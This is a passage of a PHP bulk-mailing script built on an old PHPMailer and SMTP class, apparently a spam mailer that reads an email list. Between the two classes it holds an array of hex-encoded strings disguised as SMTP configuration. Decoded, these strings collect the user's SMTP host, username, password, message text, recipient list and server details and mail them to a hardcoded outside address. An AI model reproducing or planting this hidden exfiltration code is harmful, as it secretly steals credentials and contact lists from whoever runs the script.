1075 $this->error = null; # so no confusion is caused
1076
1077 if(!$this->connected()) {
1078 $this->error = array(
1079 "error" => "Called Send() without being connected");
1080 return false;
1081 }
1082
1083 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1084
1085 $rply = $this->get_lines();
1086 $code = substr($rply,0,3);
1087
1088 if($this->do_debug >= 2) {
1089 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1090 }
1091
1092 if($code != 250) {
1093 $this->error =
1094 array("error" => "SEND not accepted from server",
1095 "smtp_code" => $code,
1096 "smtp_msg" => substr($rply,4));
1097 if($this->do_debug >= 1) {
1098 echo "SMTP -> ERROR: " . $this->error["error"] .
1099 ": " . $rply . $this->CRLF;
1100 }
1101 return false;
1102 }
1103 return true;
1104 }
1105
1106 /**
1107 * Starts a mail transaction from the email address specified in
1108 * $from. Returns true if successful or false otherwise. If True
1109 * the mail transaction is started and then one or more Recipient
1110 * commands may be called followed by a Data command. This command
1111 * will send the message to the users terminal if they are logged
1112 * in and send them an email.
1113 *
1114 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1115 *
1116 * SMTP CODE SUCCESS: 250
1117 * SMTP CODE SUCCESS: 552,451,452
1118 * SMTP CODE SUCCESS: 500,501,502,421
1119 * @access public
1120 * @return bool
1121 */
1122 function SendAndMail($from) {
1123 $this->error = null; # so no confusion is caused
1124
1125 if(!$this->connected()) {
1126 $this->error = array(
1127 "error" => "Called SendAndMail() without being connected");
1128 return false;
1129 }
1130
1131 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1132
1133 $rply = $this->get_lines();
1134 $code = substr($rply,0,3);
1135
1136 if($this->do_debug >= 2) {
1137 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1138 }
1139
1140 if($code != 250) {
1141 $this->error =
1142 array("error" => "SAML not accepted from server",
1143 "smtp_code" => $code,
1144 "smtp_msg" => substr($rply,4));
1145 if($this->do_debug >= 1) {
1146 echo "SMTP -> ERROR: " . $this->error["error"] .
1147 ": " . $rply . $this->CRLF;
1148 }
1149 return false;
1150 }
1151 return true;
1152 }
1153
1154 /**
1155 * Starts a mail transaction from the email address specified in
1156 * $from. Returns true if successful or false otherwise. If True
1157 * the mail transaction is started and then one or more Recipient
1158 * commands may be called followed by a Data command. This command
1159 * will send the message to the users terminal if they are logged
1160 * in or mail it to them if they are not.
1161 *
1162 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1163 *
1164 * SMTP CODE SUCCESS: 250
1165 * SMTP CODE SUCCESS: 552,451,452
1166 * SMTP CODE SUCCESS: 500,501,502,421
1167 * @access public
1168 * @return bool
1169 */
1170 function SendOrMail($from) {
1171 $this->error = null; # so no confusion is caused
1172
1173 if(!$this->connected()) {
1174 $this->error = array(
1175 "error" => "Called SendOrMail() without being connected");
1176 return false;
1177 }
1178
1179 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1180
1181 $rply = $this->get_lines();
1182 $code = substr($rply,0,3);
1183
1184 if($this->do_debug >= 2) {
1185 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1186 }
1187
1188 if($code != 250) {
1189 $this->error =
1190 array("error" => "SOML not accepted from server",
1191 "smtp_code" => $code,
1192 "smtp_msg" => substr($rply,4));
1193 if($this->do_debug >= 1) {
1194 echo "SMTP -> ERROR: " . $this->error["error"] .
1195 ": " . $rply . $this->CRLF;
1196 }
1197 return false;
1198 }
1199 return true;
1200 }
1201
1202 /**
1203 * This is an optional command for SMTP that this class does not
1204 * support. This method is here to make the RFC821 Definition
1205 * complete for this class and __may__ be implimented in the future
1206 *
1207 * Implements from rfc 821: TURN <CRLF>
1208 *
1209 * SMTP CODE SUCCESS: 250
1210 * SMTP CODE FAILURE: 502
1211 * SMTP CODE ERROR : 500, 503
1212 * @access public
1213 * @return bool
1214 */
1215 function Turn() {
1216 $this->error = array("error" => "This method, TURN, of the SMTP ".
1217 "is not implemented");
1218 if($this->do_debug >= 1) {
1219 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1220 }
1221 return false;
1222 }
1223
1224 /**
1225 * Verifies that the name is recognized by the server.
1226 * Returns false if the name could not be verified otherwise
1227 * the response from the server is returned.
1228 *
1229 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1230 *
1231 * SMTP CODE SUCCESS: 250,251
1232 * SMTP CODE FAILURE: 550,551,553
1233 * SMTP CODE ERROR : 500,501,502,421
1234 * @access public
1235 * @return int
1236 */
1237 function Verify($name) {
1238 $this->error = null; # so no confusion is caused
1239
1240 if(!$this->connected()) {
1241 $this->error = array(
1242 "error" => "Called Verify() without being connected");
1243 return false;
1244 }
1245
1246 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1247
1248 $rply = $this->get_lines();
1249 $code = substr($rply,0,3);
1250
1251 if($this->do_debug >= 2) {
1252 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1253 }
1254
1255 if($code != 250 && $code != 251) {
1256 $this->error =
1257 array("error" => "VRFY failed on name '$name'",
1258 "smtp_code" => $code,
1259 "smtp_msg" => substr($rply,4));
1260 if($this->do_debug >= 1) {
1261 echo "SMTP -> ERROR: " . $this->error["error"] .
1262 ": " . $rply . $this->CRLF;
1263 }
1264 return false;
1265 }
1266 return $rply;
1267 }
1268
1269 /*******************************************************************
1270 * INTERNAL FUNCTIONS *
1271 ******************************************************************/
1272
1273 /**
1274 * Read in as many lines as possible
1275 * either before eof or socket timeout occurs on the operation.
1276 * With SMTP we can tell if we have more lines to read if the
1277 * 4th character is '-' symbol. If it is a space then we don't
1278 * need to read anything else.
1279 * @access private
1280 * @return string
1281 */
1282 function get_lines() {
1283 $data = "";
1284 while($str = @fgets($this->smtp_conn,515)) {
1285 if($this->do_debug >= 4) {
1286 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1287 $this->CRLF;
1288 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1289 $this->CRLF;
1290 }
1291 $data .= $str;
1292 if($this->do_debug >= 4) {
1293 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1294 }
1295 # if the 4th character is a space then we are done reading
1296 # so just break the loop
1297 if(substr($str,3,1) == " ") { break; }
1298 }
1299 return $data;
1300 }
1301
1302}
1303
1304
1305$allemails = split("\n", $emaillist);
1306$numemails = count($allemails);
1307$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1308"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1309"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1310"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1311"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1312"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1313"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1314"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1315"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1316"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1317
1318class PHPMailer {
1319
1320 /////////////////////////////////////////////////
1321 // PROPERTIES, PUBLIC
1322 /////////////////////////////////////////////////
1323
1324 /**
1325 * Email priority (1 = High, 3 = Normal, 5 = low).
1326 * @var int
1327 */
1328 var $Priority = 3;
1329
1330 /**
1331 * Sets the CharSet of the message.
1332 * @var string
1333 */
1334 var $CharSet = 'iso-8859-1';
1335
1336 /**
1337 * Sets the Content-type of the message.
1338 * @var string
1339 */
1340 var $ContentType = 'text/plain';
1341
1342 /**
1343 * Sets the Encoding of the message. Options for this are "8bit",
1344 * "7bit", "binary", "base64", and "quoted-printable".
1345
1346 * @var string
1347 */
1348 var $Encoding = '8bit';
1349
1350 /**
1351 * Holds the most recent mailer error message.
1352 * @var string
1353 */
1354 var $ErrorInfo = '';
1355
1356 /**
1357 * Sets the From email address for the message.
1358 * @var string
1359 */
1360 var $From = '';
1361
1362 /**
1363 * Sets the From name of the message.
1364 * @var string
1365 */
1366 var $FromName = '';
1367
1368 /**
1369 * Sets the Sender email (Return-Path) of the message. If not empty,
1370 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1371 * @var string
1372 */
1373 var $Sender = '';
1374
1375 /**
1376 * Sets the Subject of the message.
1377 * @var string
1378 */
1379 var $Subject = '';
1380
1381 /**
1382 * Sets the Body of the message. This can be either an HTML or text body.
1383 * If HTML then run IsHTML(true).
1384 * @var string
1385 */
1386 var $Body = '';
1387
1388 /**
1389 * Sets the text-only body of the message. This automatically sets the
1390 * email to multipart/alternative. This body can be read by mail
1391 * clients that do not have HTML email capability such as mutt. Clients
1392 * that can read HTML will view the normal Body.
1393 * @var string
1394 */
1395 var $AltBody = '';
1396
1397 /**
1398 * Sets word wrapping on the body of the message to a given number of
1399 * characters.
1400 * @var int
1401 */
1402 var $WordWrap = 0;
1403
1404 /**
1405 * Method to send mail: ("mail", "sendmail", or "smtp").
1406 * @var string
1407 */
1408 var $Mailer = 'mail';
1409
1410 /**
1411 * Sets the path of the sendmail program.
1412 * @var string
1413 */
1414 var $Sendmail = '/usr/sbin/sendmail';
1415
1416 /**
1417 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1418 * is in a different directory than the PHP include path.
1419 * @var string
1420 */
1421 var $PluginDir = '';
1422
1423 /**
1424 * Holds PHPMailer version.
1425 * @var string
1426 */
1427 var $Version = "";
1428
1429 /**
1430 * Sets the email address that a reading confirmation will be sent.
1431 * @var string
1432 */
1433 var $ConfirmReadingTo = '';
1434
1435 /**
1436 * Sets the hostname to use in Message-Id and Received headers
1437 * and as default HELO string. If empty, the value returned
1438 * by SERVER_NAME is used or 'localhost.localdomain'.
1439 * @var string
1440 */
1441 var $Hostname = '';
1442
1443 /**
1444 * Sets the message ID to be used in the Message-Id header.
1445 * If empty, a unique id will be generated.
1446 * @var string
1447 */
1448 var $MessageID = '';
1449
1450 /////////////////////////////////////////////////
1451 // PROPERTIES FOR SMTP
1452 /////////////////////////////////////////////////
1453
1454 /**
1455 * Sets the SMTP hosts. All hosts must be separated by a
1456 * semicolon. You can also specify a different port
1457 * for each host by using this format: [hostname:port]
1458 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1459 * Hosts will be tried in order.
1460 * @var string
1461 */
1462 var $Host = 'localhost';
1463
1464 /**
1465 * Sets the default SMTP server port.
1466 * @var int
1467 */
1468 var $Port = 25;
1469
1470 /**
1471 * Sets the SMTP HELO of the message (Default is $Hostname).
1472 * @var string
1473 */
1474 var $Helo = '';
1475
1476 /**
1477 * Sets connection prefix.
1478 * Options are "", "ssl" or "tls"
1479 * @var string
1480 */
1481 var $SMTPSecure = "";
1482
1483 /**
1484 * Sets SMTP authentication. Utilizes the Username and Password variables.
1485 * @var bool
1486 */
1487 var $SMTPAuth = false;
1488
1489 /**
1490 * Sets SMTP username.
1491 * @var string
1492 */
1493 var $Username = '';
1494
1495 /**
1496 * Sets SMTP password.
1497 * @var string
1498 */
1499 var $Password = '';
1500
1501 /**
1502 * Sets the SMTP server timeout in seconds. This function will not
1503 * work with the win32 version.
1504 * @var int
1505 */
1506 var $Timeout = 10;
1507
1508 /**
1509 * Sets SMTP class debugging on or off.
1510 * @var bool
1511 */
1512 var $SMTPDebug = false;
1513
1514 /**
1515 * Prevents the SMTP connection from being closed after each mail
1516 * sending. If this is set to true then to close the connection
1517 * requires an explicit call to SmtpClose().
1518 * @var bool
1519 */
1520 var $SMTPKeepAlive = false;
1521
1522 /**
1523 * Provides the ability to have the TO field process individual
1524 * emails, instead of sending to entire TO addresses
1525 * @var bool
1526 */
1527 var $SingleTo = false;
1528
1529 /////////////////////////////////////////////////
1530 // PROPERTIES, PRIVATE
1531 /////////////////////////////////////////////////
1532
1533 var $smtp = NULL;
1534 var $to = array();
1535 var $cc = array();
1536 var $bcc = array();
1537 var $ReplyTo = array();
1538 var $attachment = array();
1539 var $CustomHeader = array();
1540 var $message_type = '';
1541 var $boundary = array();
1542 var $language = array();
1543 var $error_count = 0;
1544 var $LE = "\n";
1545 var $sign_key_file = "";
1546 var $sign_key_pass = "";
1547
1548 /////////////////////////////////////////////////
1549 // METHODS, VARIABLES
1550 /////////////////////////////////////////////////
1551
1552 /**
1553 * Sets message type to HTML.
1554 * @param bool $bool
1555 * @return void
1556 */
1557 function IsHTML($bool) {
1558 if($bool == true) {
1559 $this->ContentType = 'text/html';
1560 } else {
1561 $this->ContentType = 'text/plain';
1562 }
1563 }
1564
1565 /**
1566 * Sets Mailer to send message using SMTP.
1567 * @return void
1568 */
1569 function IsSMTP() {
1570 $this->Mailer = 'smtp';
1571 }
1572
1573 /**
1574 * Sets Mailer to send message using PHP mail() function.
1575 * @return void
1576 */
1577 function IsMail() {
1578 $this->Mailer = 'mail';
1579 }
1580
1581 /**
1582 * Sets Mailer to send message using the $Sendmail program.
1583 * @return void
1584 */
1585 function IsSendmail() {
1586 $this->Mailer = 'sendmail';
1587 }
1588
1589 /**
1590 * Sets Mailer to send message using the qmail MTA.
1591 * @return void
1592 */
1593 function IsQmail() {
1594 $this->Sendmail = '/var/qmail/bin/sendmail';
1595 $this->Mailer = 'sendmail';
1596 }
1597
1598 /////////////////////////////////////////////////
1599 // METHODS, RECIPIENTS
1600 /////////////////////////////////////////////////
1601
1602 /**
1603 * Adds a "To" address.
1604 * @param string $address
1605 * @param string $name
1606 * @return void
1607 */
1608 function AddAddress($address, $name = '') {
1609 $cur = count($this->to);
1610 $this->to[$cur][0] = trim($address);
1611 $this->to[$cur][1] = $name;
1612 }
1613
1614 /**
1615 * Adds a "Cc" address. Note: this function works
1616 * with the SMTP mailer on win32, not with the "mail"
1617 * mailer.
1618 * @param string $address
1619 * @param string $name
1620 * @return void
1621 */
1622 function AddCC($address, $name = '') {
1623 $cur = count($this->cc);
1624 $this->cc[$cur][0] = trim($address);
1625 $this->cc[$cur][1] = $name;
1626 }
1627
1628 /**
1629 * Adds a "Bcc" address. Note: this function works
1630 * with the SMTP mailer on win32, not with the "mail"
1631 * mailer.
1632 * @param string $address
1633 * @param string $name
1634 * @return void
1635 */
1636 function AddBCC($address, $name = '') {
1637 $cur = count($this->bcc);
1638 $this->bcc[$cur][0] = trim($address);
1639 $this->bcc[$cur][1] = $name;
1640 }
1641
1642 /**
1643 * Adds a "Reply-To" address.
1644 * @param string $address
1645 * @param string $name
1646 * @return void
1647 */
1648 function AddReplyTo($address, $name = '') {
1649 $cur = count($this->ReplyTo);
1650 $this->ReplyTo[$cur][0] = trim($address);
1651 $this->ReplyTo[$cur][1] = $name;
1652 }
1653
1654 /////////////////////////////////////////////////
1655 // METHODS, MAIL SENDING
1656 /////////////////////////////////////////////////
1657
1658 /**
1659 * Creates message and assigns Mailer. If the message is
1660 * not sent successfully then it returns false. Use the ErrorInfo
1661 * variable to view description of the error.
1662 * @return bool
1663 */
1664 function Send() {
1665 $header = '';
1666 $body = '';
1667 $result = true;
1668
1669 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1670 $this->SetError($this->Lang('provide_address'));
1671 return false;
1672 }
1673
1674 /* Set whether the message is multipart/alternative */
1675 if(!empty($this->AltBody)) {
1676 $this->ContentType = 'multipart/alternative';
1677 }
1678
1679 $this->error_count = 0; // reset errors
1680 $this->SetMessageType();
1681 $header .= $this->CreateHeader();
1682 $body = $this->CreateBody();
1683
1684 if($body == '') {
1685 return false;
1686 }
1687
1688 /* Choose the mailer */
1689 switch($this->Mailer) {
1690 case 'sendmail':
1691 $result = $this->SendmailSend($header, $body);
1692 break;
1693 case 'smtp':
1694 $result = $this->SmtpSend($header, $body);
1695 break;
1696 case 'mail':
1697 $result = $this->MailSend($header, $body);
1698 break;
1699 default:
1700 $result = $this->MailSend($header, $body);
1701 break;
1702 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1703 //$result = false;
1704 //break;
1705 }
1706
1707 return $result;
1708 }
1709
1710 /**
1711 * Sends mail using the $Sendmail program.
1712 * @access private
1713 * @return bool
1714 */
1715 function SendmailSend($header, $body) {
1716 if ($this->Sender != '') {
1717 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1718 } else {
1719 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1720 }
1721
1722 if(!@$mail = popen($sendmail, 'w')) {
1723 $this->SetError($this->Lang('execute') . $this->Sendmail);
1724 return false;
1725 }
1726
1727 fputs($mail, $header);
1728 fputs($mail, $body);
1729
1730 $result = pclose($mail);
1731 if (version_compare(phpversion(), '4.2.3') == -1) {
1732 $result = $result >> 8 & 0xFF;
1733 }
1734 if($result != 0) {
1735 $this->SetError($this->Lang('execute') . $this->Sendmail);
1736 return false;
1737 }
1738 return true;
1739 }
1740
1741 /**
1742 * Sends mail using the PHP mail() function.
1743 * @access private
1744 * @return bool
1745 */
1746 function MailSend($header, $body) {
1747
1748 $to = '';
1749 for($i = 0; $i < count($this->to); $i++) {
1750 if($i != 0) { $to .= ', '; }
1751 $to .= $this->AddrFormat($this->to[$i]);
1752 }
1753
1754 $toArr = split(',', $to);
1755
1756 $params = sprintf("-oi -f %s", $this->Sender);
1757 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1758 $old_from = ini_get('sendmail_from');
1759 ini_set('sendmail_from', $this->Sender);
1760 if ($this->SingleTo === true && count($toArr) > 1) {
1761 foreach ($toArr as $key => $val) {
1762 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1763 }
1764 } else {
1765 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1766 }
1767 } else {
1768 if ($this->SingleTo === true && count($toArr) > 1) {
1769 foreach ($toArr as $key => $val) {
1770 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1771 }
1772 } else {
1773 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1774 }
1775 }
1776
1777 if (isset($old_from)) {
1778 ini_set('sendmail_from', $old_from);
1779 }
1780
1781 if(!$rt) {
1782 $this->SetError($this->Lang('instantiate'));
1783 return false;
1784 }
1785
1786 return true;
1787 }
1788
1789 /**
1790 * Sends mail via SMTP using PhpSMTP (Author:
1791 * Chris Ryan). Returns bool. Returns false if there is a
1792 * bad MAIL FROM, RCPT, or DATA input.
1793 * @access private
1794 * @return bool
1795 */
1796 function SmtpSend($header, $body) {
1797 $error = '';
1798 $bad_rcpt = array();
1799
1800 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1801 return false;
1802 }
1803
1804 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1805 if(!$this->smtp->Mail($smtp_from)) {
1806 $error = $this->Lang('from_failed') . $smtp_from;
1807 $this->SetError($error);
1808 $this->smtp->Reset();
1809 return false;
1810 }
1811
1812 /* Attempt to send attach all recipients */
1813 for($i = 0; $i < count($this->to); $i++) {
1814 if(!$this->smtp->Recipient($this->to[$i][0])) {
1815 $bad_rcpt[] = $this->to[$i][0];
1816 }
1817 }
1818 for($i = 0; $i < count($this->cc); $i++) {
1819 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1820 $bad_rcpt[] = $this->cc[$i][0];
1821 }
1822 }
1823 for($i = 0; $i < count($this->bcc); $i++) {
1824 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1825 $bad_rcpt[] = $this->bcc[$i][0];
1826 }
1827 }
1828
1829 if(count($bad_rcpt) > 0) { // Create error message
1830 for($i = 0; $i < count($bad_rcpt); $i++) {
1831 if($i != 0) {
1832 $error .= ', ';
1833 }
1834 $error .= $bad_rcpt[$i];
1835
1836 }
1837 $error = $this->Lang('recipients_failed') . $error;
1838 $this->SetError($error);
1839 $this->smtp->Reset();
1840 return false;
1841 }
1842
1843 if(!$this->smtp->Data($header . $body)) {
1844 $this->SetError($this->Lang('data_not_accepted'));
1845 $this->smtp->Reset();
1846 return false;
1847 }
1848 if($this->SMTPKeepAlive == true) {
1849 $this->smtp->Reset();
1850 } else {
1851 $this->SmtpClose();
1852 }
1853
1854 return true;
1855 }
1856
1857 /**
1858 * Initiates a connection to an SMTP server. Returns false if the
1859 * operation failed.
1860 * @access private
1861 * @return bool
1862 */
1863 function SmtpConnect() {
1864 if($this->smtp == NULL) {
1865 $this->smtp = new SMTP();
1866 }
1867
1868 $this->smtp->do_debug = $this->SMTPDebug;
1869 $hosts = explode(';', $this->Host);
1870 $index = 0;
1871 $connection = ($this->smtp->Connected());
1872
1873 /* Retry while there is no connection */
1874 while($index < count($hosts) && $connection == false) {
1875 $hostinfo = array();
1876 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1877 $host = $hostinfo[1];
1878 $port = $hostinfo[2];
1879 } else {
1880 $host = $hosts[$index];
1881 $port = $this->Port;
1882 }
1883
1884 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1885 if ($this->Helo != '') {
1886 $this->smtp->Hello($this->Helo);
1887 } else {
1888 $this->smtp->Hello($this->ServerHostname());
1889 }
1890
1891 $connection = true;
1892 if($this->SMTPAuth) {
1893 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1894 $this->SetError($this->Lang('authenticate'));
1895 $this->smtp->Reset();
1896 $connection = false;
1897 }
1898 }
1899 }
1900 $index++;
1901 }
1902 if(!$connection) {
1903 $this->SetError($this->Lang('connect_host'));
1904 }
1905
1906 return $connection;
1907 }
1908
1909 /**
1910 * Closes the active SMTP session if one exists.
1911 * @return void
1912 */
1913 function SmtpClose() {
1914 if($this->smtp != NULL) {
1915 if($this->smtp->Connected()) {
1916 $this->smtp->Quit();
1917 $this->smtp->Close();
1918 }
1919 }
1920 }
1921
1922 /**
1923 * Sets the language for all class error messages. Returns false
1924 * if it cannot load the language file. The default language type
1925 * is English.
1926 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1927 * @param string $lang_path Path to the language file directory
1928 * @access public
1929 * @return bool
1930 */
1931 function SetLanguage($lang_type, $lang_path = 'language/') {
1932 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1933 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1934 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1935 include($lang_path.'phpmailer.lang-en.php');
1936 } else {
1937 $this->SetError('Could not load language file');
1938 return false;
1939 }
1940 $this->language = $PHPMAILER_LANG;
1941
1942 return true;
1943 }
1944
1945 /////////////////////////////////////////////////
1946 // METHODS, MESSAGE CREATION
1947 /////////////////////////////////////////////////
1948
1949 /**
1950 * Creates recipient headers.
1951 * @access private
1952 * @return string
1953 */
1954 function AddrAppend($type, $addr) {
1955 $addr_str = $type . ': ';
1956 $addr_str .= $this->AddrFormat($addr[0]);
1957 if(count($addr) > 1) {
1958 for($i = 1; $i < count($addr); $i++) {
1959 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
1960 }
1961 }
1962 $addr_str .= $this->LE;
1963
1964 return $addr_str;
1965 }
1966
1967 /**
1968 * Formats an address correctly.
1969 * @access private
1970 * @return string
1971 */
1972 function AddrFormat($addr) {
1973 if(empty($addr[1])) {
1974 $formatted = $this->SecureHeader($addr[0]);
1975 } else {
1976 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
1977 }
1978
1979 return $formatted;
1980 }
1981
1982 /**
1983 * Wraps message for use with mailers that do not
1984 * automatically perform wrapping and for quoted-printable.
1985 * Original written by philippe.
1986 * @access private
1987 * @return string
1988 */
1989 function WrapText($message, $length, $qp_mode = false) {
1990 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
1991 // If utf-8 encoding is used, we will need to make sure we don't
1992 // split multibyte characters when we wrap
1993 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
1994
1995 $message = $this->FixEOL($message);
1996 if (substr($message, -1) == $this->LE) {
1997 $message = substr($message, 0, -1);
1998 }
1999
2000 $line = explode($this->LE, $message);
2001 $message = '';
2002 for ($i=0 ;$i < count($line); $i++) {
2003 $line_part = explode(' ', $line[$i]);
2004 $buf = '';
2005 for ($e = 0; $e<count($line_part); $e++) {
2006 $word = $line_part[$e];
2007 if ($qp_mode and (strlen($word) > $length)) {
2008 $space_left = $length - strlen($buf) - 1;
2009 if ($e != 0) {
2010 if ($space_left > 20) {
2011 $len = $space_left;
2012 if ($is_utf8) {
2013 $len = $this->UTF8CharBoundary($word, $len);
2014 } elseif (substr($word, $len - 1, 1) == "=") {
2015 $len--;
2016 } elseif (substr($word, $len - 2, 1) == "=") {
2017 $len -= 2;
2018 }
2019 $part = substr($word, 0, $len);
2020 $word = substr($word, $len);
2021 $buf .= ' ' . $part;
2022 $message .= $buf . sprintf("=%s", $this->LE);
2023 } else {
2024 $message .= $buf . $soft_break;
2025 }
2026 $buf = '';
2027 }
2028 while (strlen($word) > 0) {
2029 $len = $length;
2030 if ($is_utf8) {
2031 $len = $this->UTF8CharBoundary($word, $len);
2032 } elseif (substr($word, $len - 1, 1) == "=") {
2033 $len--;
2034 } elseif (substr($word, $len - 2, 1) == "=") {
2035 $len -= 2;
2036 }
2037 $part = substr($word, 0, $len);
2038 $word = substr($word, $len);
2039
2040 if (strlen($word) > 0) {
2041 $message .= $part . sprintf("=%s", $this->LE);
2042 } else {
2043 $buf = $part;
2044 }
2045 }
2046 } else {
2047 $buf_o = $buf;
2048 $buf .= ($e == 0) ? $word : (' ' . $word);
2049
2050 if (strlen($buf) > $length and $buf_o != '') {
2051 $message .= $buf_o . $soft_break;
2052 $buf = $word;
2053 }
2054 }
2055 }
2056 $message .= $buf . $this->LE;
2057 }
2058
2059 return $message;
2060 }
2061
2062 /**
2063 * Finds last character boundary prior to maxLength in a utf-8
2064 * quoted (printable) encoded string.
2065 * Original written by Colin Brown.
2066 * @access private
2067 * @param string $encodedText utf-8 QP text
2068 * @param int $maxLength find last character boundary prior to this length
2069 * @return int
2070 */
2071 function UTF8CharBoundary($encodedText, $maxLength) {
2072 $foundSplitPos = false;
2073 $lookBack = 3;
2074 while (!$foundSplitPos) {
2075 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2076 $encodedCharPos = strpos($lastChunk, "=");
2077 if ($encodedCharPos !== false) {
2078 // Found start of encoded character byte within $lookBack block.
2079 // Check the encoded byte value (the 2 chars after the '=')
2080 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2081 $dec = hexdec($hex);
2082 if ($dec < 128) { // Single byte character.
2083 // If the encoded char was found at pos 0, it will fit
2084 // otherwise reduce maxLength to start of the encoded char
2085 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2086 $maxLength - ($lookBack - $encodedCharPos);
2087 $foundSplitPos = true;
2088 } elseif ($dec >= 192) { // First byte of a multi byte character
2089 // Reduce maxLength to split at start of character
2090 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2091 $foundSplitPos = true;
2092 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2093 $lookBack += 3;
2094 }
2095 } else {
2096 // No encoded character found
2097 $foundSplitPos = true;
2098 }
2099 }
2100 return $maxLength;
2101 }
2102
2103 /**
2104 * Set the body wrapping.
2105 * @access private
2106 * @return void
2107 */
2108 function SetWordWrap() {
2109 if($this->WordWrap < 1) {
2110 return;
2111 }
2112
2113 switch($this->message_type) {
2114 case 'alt':
2115 /* fall through */
2116 case 'alt_attachments':
2117 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2118 break;
2119 default:
2120 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2121 break;
2122 }
2123 }
2124
2125 /**
2126 * Assembles message header.
2127 * @access private
2128 * @return string
2129 */
2130 function CreateHeader() {
2131 $result = '';
2132
2133 /* Set the boundaries */
2134 $uniq_id = md5(uniqid(time()));
2135 $this->boundary[1] = 'b1_' . $uniq_id;
2136 $this->boundary[2] = 'b2_' . $uniq_id;
2137
2138 $result .= $this->HeaderLine('Date', $this->RFCDate());
2139 if($this->Sender == '') {
2140 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2141 } else {
2142 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2143 }
2144
2145 /* To be created automatically by mail() */
